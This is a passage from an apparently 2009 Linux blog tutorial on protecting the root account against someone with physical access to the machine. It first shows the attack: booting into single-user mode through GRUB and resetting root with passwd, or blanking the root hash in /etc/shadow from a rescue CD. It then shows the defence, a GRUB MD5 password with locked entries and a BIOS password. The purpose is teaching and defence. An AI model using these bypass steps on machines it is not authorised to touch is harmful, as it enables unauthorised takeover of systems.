/&gt;&amp;gt;Edit it, press space &amp;amp; 1 at the end of the line, so that it becomes....&lt;br /&gt;kernel (hd0,9)/vmlinuz BOOT_IMAGE=linux root=UUID=f39877a0-9a19-11dd-8a61-97b60b6e4958 resume=/dev/sda7 splash=verbose vga=788 1&lt;br /&gt;now press b for or simply enter key.&lt;br /&gt;&lt;br /&gt;&amp;gt;Now the OS boots to runlevel 1 (that is single user mode, only root is logged on &amp;amp; is used for maintenence purposes), &amp;amp; sh prompt appears.&lt;br /&gt;&lt;br /&gt;&amp;gt;Type the command passwd &amp;amp; then enter&lt;br /&gt;&lt;br /&gt;&amp;gt;Type your new password 2 times, it goes like this..&lt;br /&gt;INIT:entering single user mode&lt;br /&gt;sh3.2-#passwd&lt;br /&gt;Changing password for user root.&lt;br /&gt;New UNIX password:&lt;br /&gt;Retype new UNIX password:&lt;br /&gt;passwd: all authentication tokens updated successfully.&lt;br /&gt;&lt;br /&gt;&amp;gt;Type exit &amp;amp; enter.&lt;br /&gt;&lt;br /&gt;Now ur root password is changed, so u can see, how easy it is for someone to break ur root password.&lt;br /&gt;&lt;br /&gt;So we will now try to block the way through which someone can change the boot parameters&lt;br /&gt;Here r the steps &amp;gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;gt;Open the terminal..&lt;br /&gt;Type command, grub-md5-crypt &amp;amp; press enter, then enter your desired password for grub menu 2 times.. it goes like this...&lt;br /&gt;[root@localhost ~]# grub-md5-crypt&lt;br /&gt;Password:&lt;br /&gt;Retype password:&lt;br /&gt;$1$fEY8n$JcQYHPGCuYkxxKupgaB6c0&lt;br /&gt;&lt;br /&gt;&amp;gt; Now u can see that, some junk characters appear on ur terminal. Next u have to edit menu.lst (or grub.conf in Redhat)&lt;br /&gt;Copy the junk characters (which is md5 encryption of ur grub password).&lt;br /&gt;Execute vi /boot/grub/menu.lst&lt;br /&gt;Now observe the file menu.lst if u can see the line "hidden menu" {I'm assuming, u r familiar with vi editor basics}&lt;br /&gt;If it is there, then type below it "password --md5 $1$fEY8n$JcQYHPGCuYkxxKupgaB6c0".&lt;br /&gt;Else type above the line "default i" (i &amp;gt;=0, any integer value, depends on which OS u wanna boot by default, starting from zero)&lt;br /&gt;hiddden menu&lt;br /&gt;password --md5 $1$fEY8n$JcQYHPGCuYkxxKupgaB6c0&lt;br /&gt;**If u wanna lock a particular OS, type "lock" below the OS specification. The OS will be locked &amp;amp; for booting it, u have to enter the grub-password.&lt;br /&gt;Take a look at my menu.lst&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;br /&gt;__________________________________________________ __________________________________________________ ___________________________&lt;br /&gt;timeout 10&lt;br /&gt;color black/cyan yellow/cyan&lt;br /&gt;gfxmenu (hd0,9)/gfxmenu&lt;br /&gt;splashimage=(hd0,9)/boot/grub/hubble.xpm.gz&lt;br /&gt;hiddden menu &lt;br /&gt;password --md5 $1$MWiym$3QLabLcVRSyVUYIRa1aKy/&lt;br /&gt;default 0&lt;br /&gt;&lt;br /&gt;title MANDRIVA-Linux&lt;br /&gt;kernel (hd0,9)/vmlinuz BOOT_IMAGE=linux root=UUID=f39877a0-9a19-11dd-8a61-97b60b6e4958  resume=/dev/sda7 splash=verbose vga=788&lt;br /&gt;initrd (hd0,9)/initrd.img&lt;br /&gt;&lt;br /&gt;title linux-nonfb&lt;br /&gt;kernel (hd0,9)/vmlinuz BOOT_IMAGE=linux-nonfb root=UUID=f39877a0-9a19-11dd-8a61-97b60b6e4958  resume=/dev/sda7&lt;br /&gt;initrd (hd0,9)/initrd.img&lt;br /&gt;&lt;br /&gt;title failsafe&lt;br /&gt;kernel (hd0,9)/vmlinuz BOOT_IMAGE=failsafe root=UUID=f39877a0-9a19-11dd-8a61-97b60b6e4958  failsafe&lt;br /&gt;initrd (hd0,9)/initrd.img&lt;br /&gt;&lt;br /&gt;title Windows-VISTA&lt;br /&gt;root (hd0,0)&lt;br /&gt;makeactive&lt;br /&gt;chainloader +1&lt;br /&gt;lock&lt;br /&gt;&lt;br /&gt;title Windows Recovery&lt;br /&gt;root (hd0,3)&lt;br /&gt;makeactive&lt;br /&gt;chainloader +1&lt;br /&gt;lock&lt;br /&gt;__________________________________________________ __________________________________________________ ___________________________&lt;br /&gt;&lt;br /&gt;Save &amp;amp; exit from menu.lst.&lt;br /&gt;&lt;br /&gt;Now boot your pc &amp;amp; try to edit the boot parameters as you did in first section, grub-menu displays --enter p to unlock next set of features.&lt;br /&gt;Press p, it will prompt for grub-password, after entering grub-password, u can edit booting parameters &amp;amp; enter the locked OS.&lt;br /&gt;************************MISSION-------ACCOMPLISHED************************&lt;br /&gt;&lt;br /&gt;Hey, its not over yet.....................&lt;br /&gt;Your root password is still not safe..................&lt;br /&gt;&lt;br /&gt;Insert your bootable linux cd/dvd (or rescue cd)......&lt;br /&gt;Process may be very different for different linux distribution, so I'm just explaining it in a simple way.&lt;br /&gt;Mount ur / drive to /mnt.&lt;br /&gt;Type passwd &amp;amp; change ur root password or Open etc/shadow &amp;amp; delete the Encrypted root password.&lt;br /&gt;Eg. Change the line..........&lt;br /&gt;root:$1$JK9GUDoD$9WXbaXbYRm61C7WdI12KI.:14202:0:99  999:7:::       to    root::14202:0:99999:7:::&lt;br /&gt;The root password is cleared.&lt;br /&gt;Also delete the line --&amp;gt; password --md5 $1$MWiym$3QLabLcVRSyVUYIRa1aKy/ from menu.lst file for clearing the grub-password.&lt;br /&gt;And reboot.&lt;br /&gt;&lt;br /&gt;So a person with some experience in linux (with a rescue cd) can takeover ur less configured system..&lt;br /&gt;So the threat of physical access by a individual can't be ignored....&lt;br /&gt;U can still block him, by enabling BIOS password......(there may be other ways too.)&lt;br /&gt;&lt;br /&gt;Moral of the story ------------&amp;gt; A &lt;a href="http://en.wikipedia.org/wiki/Social_engineering_%28security%29"&gt;Social Engineering attack&lt;/a&gt; may  be Lethal.&lt;img alt="" border="0" class="inlineimg" src="file:///D:/Documents/saved%20pages/US%20secure%20root%20passwd_files/flame.gif" title="Flame" /&gt;&lt;br /&gt;&lt;br /&gt;I think, its quite knowledgeable for Linux-newbies.&lt;br /&gt;&lt;br /&gt;Plz post ur suggestion, comments,corrections &amp;amp; feedback............&lt;br /&gt;&lt;br /&gt;Thanx for reading such a big thread!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2184303465755602421?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2184303465755602421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2009/12/securing-root-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2184303465755602421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2184303465755602421'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2009/12/securing-root-password.html' title='Securing ROOT password!!'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>
